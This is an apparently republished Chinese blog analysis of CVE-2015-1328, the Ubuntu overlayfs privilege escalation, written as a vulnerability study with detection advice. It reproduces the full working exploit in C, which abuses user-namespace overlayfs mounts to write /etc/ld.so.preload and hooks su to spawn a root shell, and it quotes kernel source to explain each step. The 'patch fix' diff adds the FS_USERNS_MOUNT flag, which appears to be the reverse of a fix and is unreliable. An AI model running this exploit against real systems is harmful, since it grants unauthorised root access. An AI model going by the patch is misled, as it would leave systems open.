ubuntu逃逸到本地权限提升

来源:互联网 发布:unity3d vr材质 编辑:程序博客网 时间:2024/04/30 04:15

catalog

0. 引言1. Description2. Effected Scope3. Exploit Analysis4. Principle Of Vulnerability5. Patch Fix

 

0. 引言

新技术、高性能技术的不断发展,越来越提升了操作系统的能力,而近几年出现的虚拟化技术,包括overlayfs虚拟层叠文件系统技术,则为docker这样的虚拟化方案提供了越来越强大的技术支撑,但是也同时带来了很多的安全问题
抛开传统的overflow溢出型漏洞不说,还有另一类漏洞属于"特性型"的漏洞,黑客利用系统原生提供的"功能",加上一些特殊设计的"使用组合方式",以此实现了非预期的操作结果,甚至root
这也再次告诉我们,在系统层和黑客进行攻防,就需要比黑客更加深刻理解系统本身的特性,以及在极端条件下它们的组合方式,因为这些组合方式很有可能能够转化为攻击向量

 

1. Description

Philip Pettersson discovered a privilege escalation when using overlayfs mounts inside of user namespaces. A local user could exploit this flaw to gain administrative privileges on the system
使用默认配置的ubuntu.所有版本存在该cve-2015-1328漏洞,允许本地root特权提升,当在upper文件系统目录中创建新文件时,overlayfs文件系统并不能恰当检查文件权限
该漏洞能被某非特权进程利用,此进程在内核中(带有CONFIG_USER_NS=y、且其位置的overlayfs带有FS_USERNS_MOUNT标志),可让挂载的overlayfs在非特权的目录中挂载命名空间,
这是ubuntu12.04, 14.04, 14.10, and 15.04 [1].的默认配置

0x1: Overlay Filesystem

Relevant Link:

https://security-tracker.debian.org/tracker/CVE-2015-1328http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.htmlhttp://www.freebuf.com/news/70615.htmlhttp://seclists.org/oss-sec/2015/q2/717https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txthttp://www.cnblogs.com/LittleHann/p/4083943.html//搜索:0x4: overlayfs 

 

2. Effected Scope

Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)

 

3. Exploit Analysis

#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sched.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/mount.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sched.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/mount.h>#include <sys/types.h>#include <signal.h>#include <fcntl.h>#include <string.h>#include <linux/sched.h>#define LIB "#include <unistd.h>""uid_t(*_real_getuid) (void);""char path[128];""uid_t getuid(void)""{""_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");""readlink(\"/proc/self/exe\", (char *) &path, 128);""if(geteuid() == 0 && !strcmp(path, \"/bin/su\"))""{\nunlink(\"/etc/ld.so.preload\");""unlink(\"/tmp/ofs-lib.so\");""setresuid(0, 0, 0);""setresgid(0, 0, 0);""execle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);""}""return _real_getuid();""}"static char child_stack[1024*1024];static int child_exec(void *stuff){    char *file;    system("rm -rf /tmp/ns_sploit");    mkdir("/tmp/ns_sploit", 0777);    mkdir("/tmp/ns_sploit/work", 0777);    mkdir("/tmp/ns_sploit/upper",0777);    mkdir("/tmp/ns_sploit/o",0777);    fprintf(stderr,"mount #1\n");    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0)     {        // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0)         {            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");            exit(-1);        }        file = ".access";        chmod("/tmp/ns_sploit/work/work",0777);    }     else         file = "ns_last_pid";    chdir("/tmp/ns_sploit/o");    rename(file,"ld.so.preload");    chdir("/");    umount("/tmp/ns_sploit/o");    fprintf(stderr,"mount #2\n");    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0)     {        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0)         {            exit(-1);        }        chmod("/tmp/ns_sploit/work/work",0777);    }    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);    umount("/tmp/ns_sploit/o");}int main(int argc, char **argv){    int status, fd, lib;    pid_t wrapper, init;    int clone_flags = CLONE_NEWNS | SIGCHLD;    fprintf(stderr,"spawning threads\n");        //创建子进程    if((wrapper = fork()) == 0)     {        //将子进程移动到新命名空间,和父进程分离        if(unshare(CLONE_NEWUSER) != 0)        fprintf(stderr, "failed to create new user namespace\n");        //子进程继续创建子进程        if((init = fork()) == 0)         {            //新的子进程从新的函数入口点开始执行,相当于execve了一个新进程,新的子进程继续存在于一个新的命名空间中            pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);            if(pid < 0)             {                fprintf(stderr, "failed to create new mount namespace\n");                exit(-1);            }            waitpid(pid, &status, 0);         }         waitpid(init, &status, 0);        return 0;    }    usleep(300000);    wait(NULL);    fprintf(stderr,"child threads done\n");    fd = open("/etc/ld.so.preload",O_WRONLY);    if(fd == -1)     {        fprintf(stderr,"exploit failed\n");        exit(-1);    }    fprintf(stderr,"/etc/ld.so.preload created\n");    fprintf(stderr,"creating shared library\n");    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);    write(lib,LIB,strlen(LIB));    close(lib);    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");    if(lib != 0)     {        fprintf(stderr,"couldn't create dynamic library\n");        exit(-1);    }    write(fd,"/tmp/ofs-lib.so\n",16);    close(fd);    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");    execl("/bin/su","su",NULL);}

Relevant Link:

http://cxsecurity.com/issue/WLB-2015060081https://www.exploit-db.com/exploits/37292/

 

4. Principle Of Vulnerability

我们以POC中使用都的API调用和特性为线索,逐步讨论overlayfs的相关"特性",以及这些特性是如何最终形成一条攻击向量的

0x1: 创建子进程时传入CLONE_NEWNS

注意到POC中的这几行代码,涉及到了shared标志位、CLONE_NEWNS标志位

..//创建子进程    if((wrapper = fork()) == 0)     {        //将子进程移动到新命名空间,和父进程分离        if(unshare(CLONE_NEWUSER) != 0)        fprintf(stderr, "failed to create new user namespace\n");        //子进程继续创建子进程        if((init = fork()) == 0)         {            //新的子进程从新的函数入口点开始执行,相当于execve了一个新进程,新的子进程继续存在于一个新的命名空间中            pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);        ..

/source/kernel/fork.c

/* * unshare allows a process to 'unshare' part of the process * context which was originally shared using clone.  copy_* * functions used by do_fork() cannot be used here directly * because they modify an inactive task_struct that is being * constructed. Here we are modifying the current, active, * task_struct. */SYSCALL_DEFINE1(unshare, unsigned long, unshare_flags){    int err = 0;    struct fs_struct *fs, *new_fs = NULL;    struct sighand_struct *new_sigh = NULL;    struct mm_struct *mm, *new_mm = NULL, *active_mm = NULL;    struct files_struct *fd, *new_fd = NULL;    struct nsproxy *new_nsproxy = NULL;    int do_sysvsem = 0;    check_unshare_flags(&unshare_flags);    /* Return -EINVAL for all unsupported flags */    err = -EINVAL;    if (unshare_flags & ~(CLONE_THREAD|CLONE_FS|CLONE_NEWNS|CLONE_SIGHAND|                CLONE_VM|CLONE_FILES|CLONE_SYSVSEM|                CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWNET))        goto bad_unshare_out;    /*     * CLONE_NEWIPC must also detach from the undolist: after switching     * to a new ipc namespace, the semaphore arrays from the old     * namespace are unreachable.     */    if (unshare_flags & (CLONE_NEWIPC|CLONE_SYSVSEM))        do_sysvsem = 1;    if ((err = unshare_thread(unshare_flags)))        goto bad_unshare_out;    if ((err = unshare_fs(unshare_flags, &new_fs)))        goto bad_unshare_cleanup_thread;    if ((err = unshare_sighand(unshare_flags, &new_sigh)))        goto bad_unshare_cleanup_fs;    if ((err = unshare_vm(unshare_flags, &new_mm)))        goto bad_unshare_cleanup_sigh;    if ((err = unshare_fd(unshare_flags, &new_fd)))        goto bad_unshare_cleanup_vm;    if ((err = unshare_nsproxy_namespaces(unshare_flags, &new_nsproxy,            new_fs)))        goto bad_unshare_cleanup_fd;    if (new_fs ||  new_mm || new_fd || do_sysvsem || new_nsproxy) {        if (do_sysvsem) {            /*             * CLONE_SYSVSEM is equivalent to sys_exit().             */            exit_sem(current);        }        if (new_nsproxy) {            switch_task_namespaces(current, new_nsproxy);            new_nsproxy = NULL;        }        task_lock(current);        if (new_fs) {            fs = current->fs;            write_lock(&fs->lock);            current->fs = new_fs;            if (--fs->users)                new_fs = NULL;            else                new_fs = fs;            write_unlock(&fs->lock);        }        if (new_mm) {            mm = current->mm;            active_mm = current->active_mm;            current->mm = new_mm;            current->active_mm = new_mm;            activate_mm(active_mm, new_mm);            new_mm = mm;        }        if (new_fd) {            fd = current->files;            current->files = new_fd;            new_fd = fd;        }        task_unlock(current);    }    if (new_nsproxy)        put_nsproxy(new_nsproxy);bad_unshare_cleanup_fd:    if (new_fd)        put_files_struct(new_fd);bad_unshare_cleanup_vm:    if (new_mm)        mmput(new_mm);bad_unshare_cleanup_sigh:    if (new_sigh)        if (atomic_dec_and_test(&new_sigh->count))            kmem_cache_free(sighand_cachep, new_sigh);bad_unshare_cleanup_fs:    if (new_fs)        free_fs_struct(new_fs);bad_unshare_cleanup_thread:bad_unshare_out:    return err;}

/source/kernel/fork.c

static struct task_struct *copy_process(unsigned long clone_flags,                    unsigned long stack_start,                    struct pt_regs *regs,                    unsigned long stack_size,                    int __user *child_tidptr,                    struct pid *pid,                    int trace){    int retval;    struct task_struct *p;    int cgroup_callbacks_done = 0;    /*    1. 对传入的clone_flag进行检查    */    if ((clone_flags & (CLONE_NEWNS|CLONE_FS)) == (CLONE_NEWNS|CLONE_FS))        return ERR_PTR(-EINVAL);     if ((clone_flags & CLONE_THREAD) && !(clone_flags & CLONE_SIGHAND))        return ERR_PTR(-EINVAL);     if ((clone_flags & CLONE_SIGHAND) && !(clone_flags & CLONE_VM))        return ERR_PTR(-EINVAL);     if ((clone_flags & CLONE_PARENT) &&                current->signal->flags & SIGNAL_UNKILLABLE)        return ERR_PTR(-EINVAL);    ..    /*     copy all the process information     根据clone_flags复制父进程的资源到子进程,对于clone_flags指定共享的资源,父子进程间共享这些资源,仅仅设置子进程的相关指针,并增加资源数据结构的引用计数    */    if ((retval = copy_semundo(clone_flags, p)))        goto bad_fork_cleanup_audit;    if ((retval = copy_files(clone_flags, p)))        goto bad_fork_cleanup_semundo;    if ((retval = copy_fs(clone_flags, p)))        goto bad_fork_cleanup_files;    if ((retval = copy_sighand(clone_flags, p)))        goto bad_fork_cleanup_fs;    if ((retval = copy_signal(clone_flags, p)))        goto bad_fork_cleanup_sighand;    if ((retval = copy_mm(clone_flags, p)))        goto bad_fork_cleanup_signal;    //复制命名空间    if ((retval = copy_namespaces(clone_flags, p)))    ..

/source/kernel/nsproxy.c

/* * called from clone.  This now handles copy for nsproxy and all * namespaces therein. */int copy_namespaces(unsigned long flags, struct task_struct *tsk){    struct nsproxy *old_ns = tsk->nsproxy;    struct nsproxy *new_ns;    int err = 0;    if (!old_ns)        return 0;    get_nsproxy(old_ns);    //检查flag    if (!(flags & (CLONE_NEWNS | CLONE_NEWUTS | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNET)))        return 0;    if (!capable(CAP_SYS_ADMIN)) {        err = -EPERM;        goto out;    }    /*     * CLONE_NEWIPC must detach from the undolist: after switching     * to a new ipc namespace, the semaphore arrays from the old     * namespace are unreachable.  In clone parlance, CLONE_SYSVSEM     * means share undolist with parent, so we must forbid using     * it along with CLONE_NEWIPC.     */    if ((flags & CLONE_NEWIPC) && (flags & CLONE_SYSVSEM))     {        err = -EINVAL;        goto out;    }    //创建新的namespace    new_ns = create_new_namespaces(flags, tsk, tsk->fs);    if (IS_ERR(new_ns))     {        err = PTR_ERR(new_ns);        goto out;    }    tsk->nsproxy = new_ns;out:    put_nsproxy(old_ns);    return err;}

/source/kernel/nsproxy.c

/* * Create new nsproxy and all of its the associated namespaces. * Return the newly created nsproxy.  Do not attach this to the task, * leave it to the caller to do proper locking and attach it to task. */static struct nsproxy *create_new_namespaces(unsigned long flags, struct task_struct *tsk, struct fs_struct *new_fs){    struct nsproxy *new_nsp;    int err;    new_nsp = create_nsproxy();    if (!new_nsp)        return ERR_PTR(-ENOMEM);    //创建新的挂载点命名空间    new_nsp->mnt_ns = copy_mnt_ns(flags, tsk->nsproxy->mnt_ns, new_fs);    if (IS_ERR(new_nsp->mnt_ns))     {        err = PTR_ERR(new_nsp->mnt_ns);        goto out_ns;    }    ..

/source/fs/namespace.c

struct mnt_namespace *copy_mnt_ns(unsigned long flags, struct mnt_namespace *ns, struct fs_struct *new_fs){    struct mnt_namespace *new_ns;    BUG_ON(!ns);    get_mnt_ns(ns);    if (!(flags & CLONE_NEWNS))        return ns;    //复制挂载命名空间    new_ns = dup_mnt_ns(ns, new_fs);    put_mnt_ns(ns);    return new_ns;}

/source/fs/namespace.c

/* * Allocate a new namespace structure and populate it with contents * copied from the namespace of the passed in task structure. */static struct mnt_namespace *dup_mnt_ns(struct mnt_namespace *mnt_ns, struct fs_struct *fs){    struct mnt_namespace *new_ns;    struct vfsmount *rootmnt = NULL, *pwdmnt = NULL;    struct vfsmount *p, *q;    new_ns = alloc_mnt_ns();    if (IS_ERR(new_ns))        return new_ns;    down_write(&namespace_sem);    /* First pass: copy the tree topology */    new_ns->root = copy_tree(mnt_ns->root, mnt_ns->root->mnt_root, CL_COPY_ALL | CL_EXPIRE);    if (!new_ns->root)     {        up_write(&namespace_sem);        kfree(new_ns);        return ERR_PTR(-ENOMEM);    }    spin_lock(&vfsmount_lock);    list_add_tail(&new_ns->list, &new_ns->root->mnt_list);    spin_unlock(&vfsmount_lock);    /*     * Second pass: switch the tsk->fs->* elements and mark new vfsmounts     * as belonging to new namespace.  We have already acquired a private     * fs_struct, so tsk->fs->lock is not needed.     */    p = mnt_ns->root;    q = new_ns->root;    while (p)     {        q->mnt_ns = new_ns;        if (fs)         {            if (p == fs->root.mnt)             {                rootmnt = p;                fs->root.mnt = mntget(q);            }            if (p == fs->pwd.mnt)             {                pwdmnt = p;                fs->pwd.mnt = mntget(q);            }        }        p = next_mnt(p, mnt_ns->root);        q = next_mnt(q, new_ns->root);    }    up_write(&namespace_sem);    if (rootmnt)        mntput(rootmnt);    if (pwdmnt)        mntput(pwdmnt);    return new_ns;}

因为overlayfs mount需要CAP_SYS_MOUNT能力,因此需要新建一个NEWUSER的namespace,这样就有CAP_SYS_MOUNT了(即使这样也需要overlayfs在编译的时候开启了FS_USERNS_MOUNT)

0x2: 两次overlayfs mount/unount

POC先创建了用户exploit的目录和文件

system("rm -rf /tmp/ns_sploit");mkdir("/tmp/ns_sploit", 0777);mkdir("/tmp/ns_sploit/work", 0777);mkdir("/tmp/ns_sploit/upper",0777);mkdir("/tmp/ns_sploit/o",0777);

1. 第一次mount

//将lowerdir(/proc/sys/kernel)、upperdir(/tmp/ns_sploit/upper)作为overlayfs挂载到/tmp/ns_sploit/o中if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {    // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower    if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0)     //将lowerdir(l/sys/kernel/security/apparmor)、upperdir(/tmp/ns_sploit/upper)、workdir(/tmp/ns_sploit/work)作为overlayfs挂载到/tmp/ns_sploit/o中

至此,已经将/proc/sys/kernel、/sys/kernel/security/apparmor作为lowerdir,全部挂载到了/tmp/ns_sploit/o中

1. 第一次lowerdir=/proc/sys/kernel upperdir=/tmp/ns_sploit/o2. 然后rename(file,"ld.so.preload");3. 这时候会从lowerdir复制一份file到upperdir,然后再重命名为ld.so.preload,并且这个文件的属主是root4. 然后umount

第一次unmount

umount("/tmp/ns_sploit/o");

2. 第二次mount

if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0)         {

第二次mount是在第一次mount的基础上进行的

1. 第一次mount已经实现了在/tmp/ns_sploit/o中创建了ld.so.preload文件2. 第二次mount lowerdir=/tmp/ns_sploit/o upperdir=/etc3. 然后chmod("/tmp/ns_sploit/o/ld.so.preload", 0777),因为overlayfs的底层实现是合并两个文件夹,rename本质是写文件操作,写lowerdir的时候会先复制一份到upperdir再修改4. 这就导致把/tmp/ns_sploit/o/ld.so.preload复制到了/etc目录,并且权限为07775. 同时这里的另一个关键漏洞是复制过程的权限判断有问题,overlayfs检查的不是当前用户能不能写upperdir,而是检测被写的文件的属主能不能写upperdir,权限判断错误实际上是在第二次mount中被利用的,从某种程度上来说,这就导致的越权写

做完了这一步之后,黑客获取到的能力有

1. 黑客有能力读取/etc/ld.so.preload文件内容,因为overlayfs挂载的关系2. 因为overlayfs文件读写权限检查的漏洞,导致黑客有能力可以修改/etc/ld.so.preload文件内容

3. 使用ld.so.preload ring3劫持技术

..//打开/etc/ld.so.preload文件fd = open("/etc/ld.so.preload",O_WRONLY);..//编译生成用于函数劫持的hook solib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);write(lib,LIB,strlen(LIB));close(lib);lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");..//修改/etc/ld.so.preload,加入hook sowrite(fd,"/tmp/ofs-lib.so\n",16);close(fd);system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");..

hook so

/*劫持了getuid函数,并在hook func中执行setresgid(0, 0, 0);execle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);直接获取root shell会话*/#define LIB "#include <unistd.h>""uid_t(*_real_getuid) (void);""char path[128];""uid_t getuid(void)""{""_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");""readlink(\"/proc/self/exe\", (char *) &path, 128);""if(geteuid() == 0 && !strcmp(path, \"/bin/su\"))""{\nunlink(\"/etc/ld.so.preload\");""unlink(\"/tmp/ofs-lib.so\");""setresuid(0, 0, 0);""setresgid(0, 0, 0);""execle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);""}""return _real_getuid();""}"

对整个入侵向量进行一下梳理

1. overlayfs的挂载特性(lowerdir、upperdir)是系统本身的特性,并不能严格意义上算是漏洞2. 黑客通过两次的mount/unmount,实际上间接获得了对/etc/ld.so.preload的访问权限3. 问题的关键在于overlayfs对upperdir文件写的权限检查逻辑有问题,overlayfs检查的不是当前用户能不能写upperdir,而是检测被写的文件的属主能不能写upperdir,这导致了黑客可以通过修改lowerdir来实现对upperdir文件的越权写4. overlayfs实现了类似overflow的准备工作,真正发挥作用的explicit是Linux上传统的攻击技术: LD_PRELOAD/ld.so.reload劫持技术

Relevant Link:

https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txthttp://www.cnblogs.com/LittleHann/p/4083943.html//搜索:0x4: overlayfs 

 

5. Patch Fix

0x1: 检测方案

检查/etc/ld.so.preload中是否包含有恶意内容,如果发现,则认为是可疑事件

0x2: 修复方案

diff --git a/fs/overlayfs/super.c b/fs/overlayfs/super.c

@@ -816,6 +816,7 @@ static struct file_system_type ovl_fs_type = {     .name        = "overlay",     .mount        = ovl_mount,     .kill_sb    = kill_anon_super,+    .fs_flags    = FS_USERNS_MOUNT, }; MODULE_ALIAS_FS("overlay");

0x3: Hotpatch方案

1. poc特征: su进程创建子进程/bin/sh,这在正常的strace su跟踪中是不应该出现的2. 可以在进程管控中针对su创建子进程建立防御规则

Relevant Link:

https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549 
0 0
原创粉丝点击